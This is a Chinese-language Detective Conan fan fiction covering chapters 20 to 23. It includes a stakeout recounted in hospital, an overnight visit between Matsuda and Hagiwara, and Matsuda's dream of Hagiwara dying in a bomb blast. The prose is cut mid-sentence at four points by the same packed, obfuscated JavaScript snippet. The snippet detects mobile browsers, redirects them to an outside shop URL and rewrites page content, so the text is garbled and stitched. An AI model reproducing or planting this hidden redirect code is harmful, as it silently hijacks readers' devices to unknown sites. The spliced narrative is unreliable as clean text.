他知道了自己会早死,大概率还是殉职,难道今天去到警视厅就把辞职报告甩长官脸上吗? 不可能。 松田阵平会尽力找出那个活下去的办法,油门踩到底就没有半途松开的道理。 带着他自己,带着诸伏景光,和其他三个人一起活下去。 在心里立下了壮志豪言的卷发警官,来到警视厅就直奔鉴定科。 有了上一次的经验,鉴定科的同事不会再把松田阵平当成什么可疑人物了。鉴定科的坂本警官猜到他一到时间就来,拿出早已准备好的报告递给他。 松田阵平直接翻到结论。 “……不是同一个人?” 坂本警官把碟片和粉色卡片还给松田阵平,并且在旁边解释:“这其实只能作为一个参考。不排除有人会刻意改变惯用手,或者锻炼字迹不被鉴定出来。当然,绝大多数人都不会这么做,所以常规情况下还是准确的。” 松田阵平把东西收好,认真地对坂本警官道谢:“谢啦,如果以后有什么要帮忙的尽管跟我提。” 没想到看起来像极道大佬的松田阵平这个反应,坂本警官有些受宠若惊:“不用,我本来就是为了还伊达的人情。” 松田阵平拍了拍他肩膀:“那下次我和班长吃饭叫上你。” 回到自己工位上的松田阵平又仔仔细细从头到尾看了遍报告,报告写得很详实,松田阵平认为自己请顿饭完全不过分。 这份报告并没有打消松田阵平的猜测,反而从另一方面印证了。 结合坂本警官的解释,如果三木贤治是萩原研二,再加上对昨晚诸伏景光身份的猜测,对方很可能也是在执行秘密任务的公安。 不过这个“如果三木贤治是萩原研二”的前提也还没能得到验证,松田阵平准备午休和伊达航去医院探望诸伏景光的时候问清楚。 他没想到这个想法竟然落空了。 因为诸伏景光是再次醒来了,却完全失去了昨晚的记忆,变回松田阵平最熟悉的那个,与他一同长大的诸伏景光。 又是这样。 和屏幕的事情一样,说不出口。 诸伏景光那双温柔的蓝眸看着他,里面满是担忧:“怎么了,阵平?你看起来很难过,是我让你担忧了吗?对不起啊,我睡了那么久。” 笨蛋吗,哪有人为这种事情道歉的。我不难过,我怎么可能难过。 “那要抱一下吗?和小时候一样。”诸伏景光又问道,松田阵平才恍惚刚刚自己好像说了出口。 小时候诸伏景光失语症还没好的时候,他们被人欺负,打架打得一身伤,松田阵平回家还要面对酗酒的父亲,幼小的诸伏景光没法说话安慰,就只能抱抱小松田阵平。 松田阵平一手揽着伊达航,一手小心地避过伤口揽住诸伏景光,三个人的脑袋轻轻磕在一起,他们不约而同地笑了。 伊达航拍了一下松田阵平的后背:“什么嘛,松田竟然也会有那么煽情的时候。” 松田阵平不甘示弱地拍了回去:“只允许你有女朋友,不允许我感伤一下啊!” 伊达航纳闷:“这都能扯到娜塔莉?” 诸伏景光笑着看他们来回吵了几句才开口:“所以,你们是不是有什么想问我的?” 松田阵平和伊达航对视了一眼,伊达航开口:“我们都想知道在你昏迷之前发生了什么。”然后把他和松田阵平之前交换过的案件信息和讨论过的内容也一并说了。 “被公安接手了?”诸伏景光有些惊讶,“但我醒来后还没有公安明面上跟我接触过。” “明面上”三个字说明了太多。诸伏景光好像看出他们的不快,笑着补充:“至少目前我能感受到他们对我没什么恶意。” “至于我昏迷前发生了什么……”诸伏景光上挑的猫眼里有些困惑,“说实话我也有些地方没想明白。” 那天晚上他和另外三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262974|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名搜查一课的同事分成了两个小组,监守一个凶杀案的嫌疑人,每个小组分别对应着嫌疑人住处的两个出口,他们推测嫌疑人很可能近期会返回行凶现场。 他们从傍晚一直蹲守到清晨,为了不被嫌疑人发现,都是猫在狭小但视野合适的角落里。即使小组里两个人可以自行安排轮流小憩,也依旧逃不过疲惫感。 这时已经准备天亮了,诸伏景光小幅度地换了个姿势来改善有些僵硬的肩颈状态,余光看到斜后方约200米的巷子里有些奇怪,似乎有粘稠的液体溅了出来。 他快速朝同伴作了个手势,自己就悄悄跟上去了。 那个人很敏锐,诸伏景光还没抵达巷子口的时候他就察觉到了,有一道银光在墙壁上一闪而过,与此同时还有从血肉里拔出的黏腻水声,然后诸伏景光就看到一个黑影动作轻盈地翻过了墙,一举一动中透出的熟练让诸伏景光心底一沉。 他的职业素养让他一眼就能看出,这不是这个人第一次杀人,大概也不会是最后一次杀人。如果不是被自己发现了,甚至可能连尸体都不会被留下,只不过又多了一个失踪人口罢了。 而且这人虽然用的是冷兵器行凶,但是腰侧那个不够自然的弧度显然是随身携带了枪支。 诸伏景光连忙用耳机联系上同伴,让他过来巷子看看受害者情况如何,自己则脚步不停地往嫌疑人离开的方向追过去。 对方在自己说话的时候不知道为何停了一下,似乎想转身,但很快又继续沿着原方向跑。如果不是他停了这一下,就那个足够复杂的路线,诸伏景光还不一定能追得上对方。 去巷子查看情况的同事这时在耳机里反馈说被害人已经当场身亡,身上只有一处脖子的致命伤,从现场和时间推断来说确实是这个人动手的。 诸伏景光追着对方到了一家废弃建筑,在他跳上窗台的时候终于找到了合适的射击时机。 但等诸伏景光掏出自己的配枪对准这人的心口时,他自己的心脏忽然剧烈疼痛起来,在警校时射击成绩一直保持第一的优秀警官第一次出现拿枪不稳的情况,射出的子弹没入眼前这人的肩膀。 与此同时爆炸声响起,他被冲击着往后倒去,后脑一痛就失去了知觉。 “你心脏是有什么问题吗?”松田阵平想起昨晚诸伏景光的表现,连忙追问。 诸伏景光摇了摇头:“今天安排我做检查的护士也说了,我昨晚醒过来的时候看起来心脏很不舒服,所以今天除了常规检查外,重点要检查心脏和头部。但是除了头部淤血还没能完全散去外,心脏一点问题都没有。” 青年蓝色的猫眼里写满了疑惑:“医生跟我说,我记不清昨晚的事情应该是脑部淤血导致的,至于心脏大概率是心理问题,建议我找心理医生进一步做检查。” 听到“心理问题”,松田阵平愣了一下。自从外守一被逮捕后,诸伏景光最大的心事解决了,看起来也没什么心理障碍了。 但他毕竟因为这件事患过失语症和轻微失忆,有着长达十几年的心理阴影,还真不好说心理问题已经完全痊愈了。 只不过问题发作总有个诱因,按照诸伏景光的陈述,他只不过是在进行一次普通的追捕行为,即使过程凶险,但是也没有太特别的地方。 但他们不知道的是,诸伏景光还有一点没说,就是他朝着对方开枪的时候,有一瞬间觉得对方对自己很重要。 就好像那一枪打下去,会比朝着自己心口开枪还疼。 21.第 21 章 诸伏景光从伊达航口中得知他昏迷的这些日子里,除了回家拿换洗衣服,松田阵平在不上班的时候都在病房陪护他之后,今晚说什么都不让人留下。 “可是明天是周末!今晚不需要补觉!”松田阵平试图抗议。 诸伏景光用一种“你不可理喻”的眼神看着幼驯染:“明天不上班,今晚就不用睡觉吗?” 眼瞅着他再不离开,诸伏景光就要拔针头下床了,松田阵平只能带上换洗衣服离开。 医生说诸伏景光除了脑部的剩余淤血要定期回来复查,其余各项身体指数都良好,明天就能出院了,松田阵平自然也不再需要晚上陪护了。 回到他和诸伏景光合租的公寓,松田阵平看着有些杂乱的客厅——毕竟已经一周没收拾过了,打算把这份活留给第二天的自己。 虽然松田阵平嘴上跟诸伏景光在逞强,但这一周来的连轴转,加上心情起伏大,他确实有些累了。 在浴室里慢悠悠地洗了个澡,松田阵平换上舒适的睡衣,走进了自己这周加起来甚至没停留超过20分钟的卧室,准备久违地开展自己的爱好。 隔壁科室前两天不知道从哪搞了些手榴弹之类的模型,松田阵平闻讯赶来,运用起他平时懒得翻出来的情商蹭了些回来研究。 这栋公寓是他和诸伏景光在还没什么积蓄的时候租下来的,所以自带的灯光之类的条件没那么好,有些发黄,其实不方便松田阵平做那么精细的活。 但他可是松田阵平,住进来的第一天就把公寓里的灯都捣鼓一遍,以求做到想昏暗的时候它能昏暗,想亮得如同白昼般也可以控制。 此时松田阵平就调到最亮的那档。 结果他只是拆开了外壳,就被可疑的动静给打断了。 松田阵平的卧室窗户正在被什么人用不坚硬的物品砸着,声音不大,像在试探。 最近都在听些什么凶杀案的松田阵平:“……”不是吧,哪个胆大包天的盗贼踩点踩到警察家里来了? 他顺手拿起桌上的工具锤,谨慎地拉开窗,结果被一团东西猝不及防糊了一脸。 松田阵平赶紧把挡住自己视线的东西拿下来,才发现是一束粉色的绣球花。 他往前看去,窗台上已经堆了一束蓝玫瑰,一束用精细零件组成的工艺花,应该是比鲜花更有分量的后者砸过来时的声响引起他的注意。 松田阵平越过这两束花,终于发现了站在楼下的罪魁祸首——三木贤治。 对方正以一种模特拍硬照的姿势斜靠在他的那辆马自达旁,怀里还抱着一束百合,看到松田阵平终于发现他后兴奋地朝他挥手。 这人是耍帅的中学生吗…… 松田阵平打开手机,果然看到跳出了三木贤治刚发的消息:【我看到小阵平好像换上睡衣了,方便出来吗?或者我上去?】 他没提自己为什么要找松田阵平,松田阵平也没问。 【过来吧,房号xxx】 于是三分钟后,松田阵平就听到了敲门声。 “铛铛——送给小阵平~”开门的那一瞬间,萩原研二就把怀里的百合花塞到松田阵平怀里。 被大花束糊住半边脸的松田阵平立马就想到他开窗被花砸的场景。 忍无可忍的松田阵平使出了友情破颜拳。 “痛痛痛——小阵平为什么打我?是我选的花小阵平不喜欢吗?”萩原研二看着他的目光好像在控诉一个负心汉。 松田阵平把那束百合又塞回他的怀里,又把已经拿出客厅的三束花塞到他怀里:“是什么给你我喜欢花的错觉?一束就算了,你买那么多是为什么?” 萩原研二被花挡住的眼睛下意识弯了一下:送一束就可以吗?小阵平是觉得同龄男性好友间送花不奇怪,还是觉得是我送的所以很正常? 他收敛好自己的表情,艰难从花堆里探出半个脑袋:“因为我看到哪束花都觉得很适合小阵平嘛~不小心就买多了。” “买多了就自己拿回去。”松田阵平一脸绝情。 萩原研二抱着那些花艰难地向松田阵平靠近了一步:“那小阵平至少挑一束留下吧,哪有让送花的人把花全部拿走的!” 松田阵平毫不犹豫地拿走了唯一一束不是真花的。 萩原研二把剩下的花放到一边,看着松田阵平拿走的那束开始邀功:“哼哼,这束可是我亲手做的哦~小阵平非常有眼光嘛!” 卷毛青年看了他一眼:“你在说什么?我只是觉得这些零件不错,可以拆下来用。” “……”萩原研二好像被打击到短暂褪色了一下,“不要啊小阵平,你怎么忍心拆掉研二酱精心准备的花!” 松田阵平假装听不到他的哀嚎,转身去了厨房。 萩原研二趁机仔细观察了一下这间公寓。 内部的装修和公寓的外部没差太远,都是有些年头的传统日式风格。 客厅的茶几和沙发上有些乱,茶几上随手放了几个装了东西的袋子,根据形状目测里面是衣服。沙发上则丢了一件黑西装。 客厅的墙上挂了一个黑色的硬质乐器包,根据之前降谷零所说,里面大概率是一把贝斯。 ……虽然以萩原研二如今在组织里的经历来说总会下意识怀疑里面是不是藏了把大狙,毕竟这种不会凸显内容物形状的乐器包真的很适合放枪支。但这里不是组织成员的安全屋,没人会把这种东西堂而皇之地挂在客厅里。 电视机有点蒙尘了,不知道是没有看电视的习惯还是因为太忙没时间看。 电视机下面的开放式柜子一边放了囤积的调料品,一边整整齐齐地码了用透明盒子分类装好的各种零件。 客厅的尽头是厨房,左侧是两间卧室,一间紧闭着门,也看不出任何光线,另一间则敞开着,很明显是松田阵平的卧室。 萩原研二装作要上前给松田阵平帮忙,从他的房间前面路过:“小阵平你在拿什么呀,要我帮忙吗?” 松田阵平的卧室不大不小,是标准单身人士的配置:一张床,一个嵌入式衣柜。比较特殊的是占地面积比例大的工作台和特地做成悬浮样式的书架,算是把有限的空间运用到极致。 工作台上正摆着刚开始拆的……手榴弹?应该只是模型,小阵平在刚开始拆的时候就被来找他的萩原研二打断了。 同样不喜欢在拆模型时被打断的萩原研二心虚地摸了摸鼻子,开始有点理解为什么刚刚松田阵平威胁说要拆他组装起来的花。 松田阵平拿着一罐啤酒一罐可乐走出来:“我在给你找没有酒精的饮品……翻遍了冰箱都没找到,最后在调料区倒是找到了诸伏做菜用的可乐。” 萩原研二上前摸了一下可乐,果然是常温的:“这种事情不要啊!不能和小阵平喝一样的东西就算了,谁会喝常温的可乐啊!” 松田阵平沉默了一下:“……要是我们把剩下的两罐可乐都喝了,明天出院回来的景老爷会把我杀了的。” “好多槽点啊小阵平!”萩原研二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267820|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸不知道从哪里开始吐槽,反客为主地走到厨房,从冰箱里随便拿出一罐啤酒。 松田阵平想阻止他:“你不是开车过来吗,喝了酒还怎么开车,我可不会送你回去。” 萩原研二用他那双带着甜蜜笑意的紫眸暗示性地看了一眼松田阵平的卧室:“所以~就要拜托小阵平今晚收留我啦!小诸伏还没回来,也不会打扰到他!” 松田阵平为好友正名:“以诸伏的性格,他应该很乐意认识你。” 如果三木贤治确实是萩原研二,那诸伏景光和他成为朋友的概率可不要太高。 萩原研二见成功把话题转移到诸伏景光身上去了,就顺理成章地往下问:“上次小阵平都还没回答我呢,小诸伏为什么会住院?” 松田阵平闻言,正在打开自己那罐啤酒的动作顿了一下,他凫青色的眼睛意味深长地望了过来:“三木,你好像对诸伏很感兴趣?昨晚我在医院没空,今晚就直接找上门来问了。” 萩原研二一惊,恨不得立刻血书一封自证清白:“冤枉啊小阵平!我只是因为小阵平能量严重不足才会过来的!” 他这句话是真情实意的,问诸伏景光情况只不过是降谷零想知道罢了,属于锦上添花,本质还是因为他一周没见松田阵平实在是忍不住了。 萩原研二越想越委屈,他赌气地长臂一伸就把松田阵平抱住:“已经6天没看到小阵平,我可是每天每天都想看到小阵平,小阵平不仅一点也不想我,还怀疑我QAQ” 他一件一件控诉过去:“每次都是我主动给小阵平发消息,小阵平几乎没有主动给我发!昨晚明明可以让我一起去探望小诸伏,却消息回到一半就消失了!我今天实在想见小阵平,开车不知不觉就经过了你家,惊喜地发现开灯了,就开心地去买花,还把我之前做了一下午的花带上,结果小阵平不仅不肯收下那些花,还想把我精心给你做的花拆掉!” 松田阵平越听越心虚,他举着啤酒喝也不是,不喝也不是,萩原研二说话时候的气一直喷在他脖子上,痒得很,又不敢在对方血泪控诉的时候挣开他。 他清了清嗓子,试图把锅一个个甩掉:“也不是这样……我很少主动给你发,是因为等我有空可以发消息的时候你已经主动给我发了;昨晚消息回到一半就消失是我不对,当时景刚醒来,我还急着通知他的朋友、同事、家人,忙完后就忘记回复你了;我也不是不肯收下你的花,我不是收下你做的那束了吗,说拆掉只是一时气话,谁让你用那么奇怪的方式砸我,我还以为是什么不法分子,开窗时被砸了一脸,你明明可以直接打电话给我的。” 萩原研二依旧保持着从侧面环住松田阵平的状态,只是歪了歪脑袋,试图从松田阵平的表情上辨别他的话是不是真心的:“好吧,那研二酱这次就原谅小阵平。” 毕竟总是懒得开口的小阵平可是为了向他解释,难得说了那么长一段话呢! 感觉逃过一劫的松田阵平闻言就把他的脑袋推远一点:“你不要在我脖子这里说话,很痒的啊!” “不要,都说了小阵平能量严重不足,需要跟小阵平贴贴才行。” 松田阵平这才后知后觉想到:同龄男性朋友之间会这么亲密吗? 在警视厅里好像没见过,但是在那段五人的记忆里,萩原研二就是这么经常挂在松田阵平身上的,诸伏景光和那个还不知道名字的年轻男性举止也很亲密。 ……所以,应该是正常的吧? 松田阵平不确定地想着。 22.第 22 章 萩原研二说着要留宿,却什么东西都没带。 好在伊达航偶尔会过来串门,所以公寓里有备用拖鞋和一次性洗漱用品。 只不过……“你怎么什么衣服都没带啊!”松田阵平头大,虽然不想承认但眼前这个人确实比他要高一截,穿他的睡衣肯定不合身。 萩原研二眼睛亮闪闪地盯着他:“因为想着早点见到小阵平就忘记这件事了嘛~但是没关系的小阵平,我穿你的睡衣就好了!” 开什么玩笑,为了方便任务,他车里什么类型的衣服都有,怎么可能没有区区睡衣。但是!他就是为了这一刻! 穿着充满了小阵平气息的睡衣,躺在充满小阵平气息的床上,盖着小阵平的被子,旁边躺着小阵平——不能再想了,再想就不知道小阵平眼里的他是什么表情了。 萩原研二在思想滑坡的最后关头悬崖勒马,才好歹没在还什么都不知道的松田阵平面前暴露了他一点也不纯洁的心思。 但是还有一件事情他实在是太想了所以没过脑子就开口了:“还有我也可以穿小阵平的内——” 然后就被一包全新的男式内裤砸了脸:“之前有新买的,你闭嘴。” 自知说错话的萩原研二怂怂地做了个嘴巴拉链的动作,抱起衣服去洗漱了。 但是这人洗澡都不能安静下来,还时不时试图跟外面的松田阵平搭话。 “小阵平,哪瓶洗发水和哪瓶沐浴露是你的呀?” “哎哎,这个带点薄荷和柑橘味道的沐浴露我很喜欢,小阵平也喜欢这个味道吗?我这里有一瓶差不多味道的香水,下次送给小阵平吧?感觉很适合小阵平呢!” “糟糕,忘记问有没有新浴巾了,我可以拿小阵平的浴巾吗?” “诶?这里有个很可爱的小鸭子,是小阵平泡澡用的吗?” 松田阵平忍无可忍,他又不能冲进浴室捂住这人的嘴,只能克制地拍了拍门叫他安静洗澡不要说那么多话不然小心被呛到——克制是因为浴室的门年纪大了,松田阵平虽然热爱动手修理东西但也没到喜欢有事没事把门砸烂的地步。 萩原研二深知有些事情要点到为止才会有下一次的道理,所以在被警告后安静到了洗完澡出来浴室。 他一边揉着自己湿漉漉的头发一边走到松田阵平面前转了一圈:“小阵平你看!也没很不合身吧!” 松田阵平正在收拾自己的工作台,他知道今晚注定是没时间拆解这个心心念念了几天的手榴弹模型了。 他听到萩原研二的问话,抬头看了一眼,有些意外。可能因为他平常买睡衣习惯买大一号的,这样穿起来比较宽松舒服,所以萩原研二穿上后,除了袖子和裤腿的部分短了些,也没有显得很紧绷。 但是松田阵平没打算让这个不带睡衣的家伙得意太久的,他语重心长地说:“贤治,这说明你的锻炼还不够啊。” 体型确实偏精瘦但是该有的肌肉一点都不缺的萩原研二:“……”怎么办,被心上人看扁了,我要怎么不经意地露出我的腹肌胸肌肱二头肌呢! 可恶,好想快点告白啊,萩原研二觉得自己已经有点忍不了了。 他当然知道在还没认识满半个月的情况下跟人告白会显得很轻浮,他一点也不想让小阵平认为他的感情不够真挚。 但是萩原研二不得不承认,他越接近小阵平,就越想得到更多。他现在连拥抱都得艰难地找理由,也不敢让小阵平摸摸他的肌肉。 在工作的时候萩原研二还是能做到全神贯注,但是一旦停下来就会遏制不住地想松田阵平,哪怕只是对方发给自己的消息也总会反反复复看好几遍。 为了能和松田阵平密切来往又不至于引起组织的注意,在组织成员和他聊起他暗中为波本散播的谣言的时候,总会“无意中”透露自己也想学波本一样引诱个条子,那个能把他炸弹拆了的条子好像就不错。哎呀,都是情报组的,没道理人家波本能做到的,我田纳西做不到。 萩原研二甚至已经跟自己上级打了报告,说他可能会有个当警察的恋人,潜台词就是如果自己陷入身份暴露的危机的话,松田阵平要和他的家人一样能得到公安的保护。而且近在身边的伴侣和不在东京的家人不一样,近距离、长时间的接触下发现他真实身份的概率很高,松田阵平还是个警察,所以保密协议也提前准备好了。 他准备了很多很多,他从未想过自己竟然会是个如此贪心的人。 但萩原研二却无法保证,松田阵平一定会接受自己的告白。 他自然知道自己魅力值不低,从小到大的人气王、经常恃靓行凶的组织情报专家怎么会不知道自己对一般人的吸引力有多高。 但松田阵平的魅力绝不低于自己,比自己还要优越的传统帅气脸蛋,出色的业务能力和头脑,外冷内热的性格,还有深入了解后非常独特的人格魅力……每一点他都很喜欢。 萩原研二敢保证,松田阵平能单身到现在,99%的原因是他在感情方面非常的钝感,完全接收不到别人对他的爱慕……剩下1%大概是因为太优秀会让人望而却步吧。 给松田阵平带上了200层滤镜的萩原研二这么想着。 ——不过最重要的一点是,松田阵平能不能接受和男性在一起啊!! 萩原研二看着松田阵平又打了个哈欠,于是推着松田阵平走到床边:“小阵平这些天来为了照顾朋友应该很辛苦吧,我们早些休息吧~” 虽然他也好不到哪里去,这周的平均睡眠也不知道有没有三小时,差点就卷过他的幼驯染降谷零了。不过看到小阵平之后感觉精力瞬间被补满! 松田阵平坐在床边,看着萩原研二非常自然地准备跟着他一起爬到床上,有些纳闷:“难道你不应该睡景那间房吗?我可以给他打个电话说一声,他不会拒绝的。如果你介意的话,也可以我睡他那边。”这张床虽然没有很窄,但毕竟单人床,睡两个身高远超水平线的成年男性显然是不够的。 萩原研二非常自然地反问:“可是小阵平,留宿的精华不是抵足而眠吗?” ……不是吧,至少伊达航来留宿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268248|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候是睡沙发床的。 但与此同时,松田阵平也想起那段回忆里,少年萩原研二是抱着少年松田阵平入睡的。 于是松田阵平没再提出异议了,只是默默地在十月的下半旬、入夜后的深秋里,打开了风扇。两个人抱着睡,想想就很热好吧! 关了灯之后,房间里陷入黑暗。窗帘因为今晚萩原研二的“砸窗事件”拉开了一半,能看到部分星空,但月亮或许是被云遮挡住了大半,洒进室内的月光轻得像一层薄纱。 这是个很适合谈心的环境和时间。 “小阵平,你会反感男性之间的恋情吗?” “虽然之前没想过但是……应该不会,怎么这么问?” “因为我朋友喜欢上了一个男性,现在不知道对方能不能接受男性,有些苦恼呢。” “直接去问对方就好了吧,自己想再多也没用啊。” “果然是很小阵平的做法~那小阵平呢,你能不能接受男性?” 怎么这人老是问自己从来没想过的问题。松田阵平活了22年,还没有过心上人。 他想想,那段记忆里小萩原研二说小松田阵平喜欢他姐姐,可是那时候的小松田阵平还是个小鬼头呢。 而且从小萩原研二的话里可以得知他和他姐姐当时长得很像……不行,他不能怀疑小松田阵平的人品。 松田阵平沉默的时间太长,长到萩原研二开始感到不安,不会是松田阵平根据他这几句话推出他喜欢他了吧? 于是他小心翼翼地开口:“小阵平?” 床确实不大,所以萩原研二得以高高兴兴地紧贴着松田阵平,这时为了能依着这微薄的光线看清松田阵平的表情,他干脆侧身挨过去,脑袋离开自己的枕头,靠在了松田阵平的肩膀上。 松田阵平顿时怒从心起:问我这么难的问题,还嫌我回答得慢? 他把送上门的脑袋一顿揉搓,直搓得萩原研二一头精心打理的顺直半长发像个炸毛的鸟窝。 萩原研二不敢怒也不敢言,只敢伸出手礼尚往来地偷偷摸一把他眼馋了很久的小卷毛,很好摸,软软的凉凉的还有点弹性。 然后自己的脑袋就被揉搓得更狠了。 “小阵平别搓啦!再搓研二酱的头发就要打结啦!”萩原研二首先竖起了求和之旗。 “哼。”松田阵平勉强接受了这个求和,也松开了萩原研二的头发。 他组织了一下语言,把自己的想法如实告知:“我不知道我能不能接受,因为我还没在恋爱方面喜欢过人……据说我小时候喜欢过异性,但是我自己已经不记得了。所以我想,性别对于我来说不是重点,对象是谁才至关重要。” 太好了。萩原研二决定当没听到那句“据说我小时候喜欢过异性”,连本人都不记得的异性肯定根本不、足、一、提嘛! “嘿嘿,我和小阵平持相同观点!”萩原研二给了松田阵平一个一触即分的拥抱,轻盈得如同他此时的心情。 “晚安,小阵平~” “晚安。” 23.第 23 章 萩原研二的理想是能睡到自然醒,如果这个时候松田阵平还没醒的话,他能在旁边安静看着松田阵平的睡脸。 但是再美好的设想也抵不过组织任务的突如其来。 进入组织后,萩原研二的睡眠就变得很浅,一点动静就能醒来,而且这种特殊的手机铃声,代表的是组织的消息。 他从睁开眼到清醒地摁灭铃声开始看消息也只不过短短的两秒。 【半小时后在DP集中。——Gin】 半小时,他还要从这里回到自己的安全屋再过去,根本没有缓冲时间。 萩原研二看了看刚蒙蒙亮的天空,一边在内心狠狠地祝福琴酒的长发哪天因为熬夜而变秃,一边知道自己根本无法拒绝这个任务。 他不是行动组的人,任务一般也不会由琴酒直接下发,但是如果琴酒这么做了,就代表着自己将得到琴酒的一个人情。 琴酒的人情,对于寻常的代号成员都很有吸引力,更何况是作为卧底的萩原研二。 他侧头看着松田阵平,对方并没有被刚刚短暂几秒的铃声吵醒,此时还在睡梦中,只是不知道为什么眉头紧皱,似乎做了一个不够美妙的梦。 这是萩原研二第一次看到松田阵平睡着时的模样。没有醒着时候的气场加持,加上松田阵平此时的皱眉,竟然显出几分脆弱的美感。 萩原研二伸出手,小心翼翼地拂过松田阵平紧皱的眉头,轻轻碰了碰他的脸颊,在即将落到他唇边的时候仿佛被惊醒般抽回了手。 他呢喃道:“我没有能给你带来好梦吗,小阵平……我要走啦,希望你之后的梦能做得轻松些。” 留给萩原研二的时间已经不多了,他悄无声息地起床,到客厅换上自己的衣服,留了张纸条说自己有急事要先走了,就离开了这间公寓,驶向自己的安全屋。 他没听到的是,在他刚坐上自己车的时候,松田阵平在梦里撕心裂肺地喊出了“萩原”。 松田阵平从来没有哪一次觉得梦会那么难捱。 这是他第一次看到萩原研二的脸。 和三木贤治长得一模一样。 但在梦里,萩原研二和他一起进入了爆处组。班长依旧去了搜查一课,不知道名字的同期和诸伏景光倒是一毕业就消失了,他们谁也联系不上。 有了社交技能点满的萩原研二和他一起入职,虽然松田阵平依旧是那副很会说话的性格,和他形影不离的萩原研二也能用他的百分百圆场技能缓和气氛,所以两人融入这个集体也比现在要快很多。 虽然松田阵平也会被萩原研二拉着去和同事在居酒屋聚会,但他们更多的是两个人在一起,一起上下班,一起比赛看谁先拼完模型,一起打游戏还吐槽对方菜,一起学做饭然后把自己做出来的面目可憎的菜品骗对方吃下…… 萩原研二永远像个大型挂件一样趴在松田阵平身上,松田阵平一边嫌弃一边习以为常。 爆处组的同事不止一次调侃说你们真的不是异卵双生子吗,不说天天像连体婴一样,这已经不是人类所能拥有的心灵感应了吧?反正他们做不到只是一个眼神,或者仅仅是一个意味不明的语气词,就能知道对方是什么意思,还能翻译出长达三百字的意思——翻译功能仅限于萩原研二。 不仅生活上默契,工作上更是如此。和现在只有他当队长,斋藤当副队长不同,有着和松田阵平相差无几的拆卸天赋的萩原研二和他几乎是同时当上了队长,他们被称为爆处组的双子星,他们永远可以相信彼此。 但就像之前松田阵平的预感一样,盛极则衰。 入职没多久——松田阵平看得很清楚,那个日期写着11月7日,他们出了一次外勤,本以为是最平常不过的外勤。 那天上午有两处炸弹,松田阵平带队去了第一现场诹访高地,萩原研二则带队去了第二现场浅井别墅区广场。 第一现场的炸弹很简陋,松田阵平很快就拆除了,带上自己小队的人立马赶往第二现场。 在路上,松田阵平接到了萩原千速的电话,那位英姿飒爽的女警说今天要来东京出差,刚好可以给他和自家弟弟办一场迟到的入职顺利庆功宴,让他等下帮忙用其他理由“骗”萩原研二出现,给他一个惊喜。 卷毛警官刚被厚重的防爆服闷得身上黏腻,但是他对这位幼驯染的姐姐有几分敬畏,语气不耐烦说话内容却很乖,说那就去他和hagi常去的那家吧,这样等下和hagi沟通的时候也不容易露馅。 萩原千速非常清楚自家弟弟,也同样了解松田阵平这半个弟弟,前面那只观察力太强对幼驯染又太了解,后面那只又不太藏得住事,于是表示只能遗憾放弃那家听说很火的餐厅,希望他们两个那所谓的“老地方”能稍微符合她的审美。 结果带着这样任务的松田阵平去到第二现场才发现幼驯染这边进度缓慢,甚至还没开始正式拆,于是不免催促他。 然后计时器重新跳动,在巨大的爆炸声和火光中,松田阵平眼睁睁看着萩原研二所在的那层楼几乎瞬间化为废墟。 “萩原……”松田阵平手里还拿着已经无人回应的手机,他的表情变得空白,他好像一时间无法明白,或者不敢去明白看到的这一幕代表了什么,觉得很酷而戴上的墨镜也无法阻挡住这刺眼的火光。 他只能下意识叫着幼驯染的名字。 “萩原——!!!!!” 松田阵平在和梦里的松田阵平同时目眦欲裂地喊出这声“萩原”之后就惊醒了。 醒来的那一瞬间他甚至分不清自己在哪里。 还没能完全恢复全部记忆的松田阵平不知道自己这种情况算什么。 但无论是哪种,他现在终于可以确定,至少在某一个世界,他和萩原研二年幼相识,他们形影不离地陪伴彼此走过十几个年头,然后眼睁睁地在爆炸声中失去了萩原研二。 那种自己一半灵魂被瞬间抽走的空虚感,是无论用什么高科技、超自然能力都无法虚构出来的。 萩原研二对松田阵平来说,是和他自己生命同等重要的存在。 等等。 等等……松田阵平现在可以确定三木贤治就是萩原研二,可他人呢? 因为这一个梦,近在咫尺的昨晚发生的事情也已经恍若隔世。当昨晚的记忆缓慢回到脑海里的时候,松田阵平才发现此时应该睡在自己身边的人,不见了。 他伸出手摸了摸那块地方,是凉的,仿佛昨晚在这里睡的只有自己一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 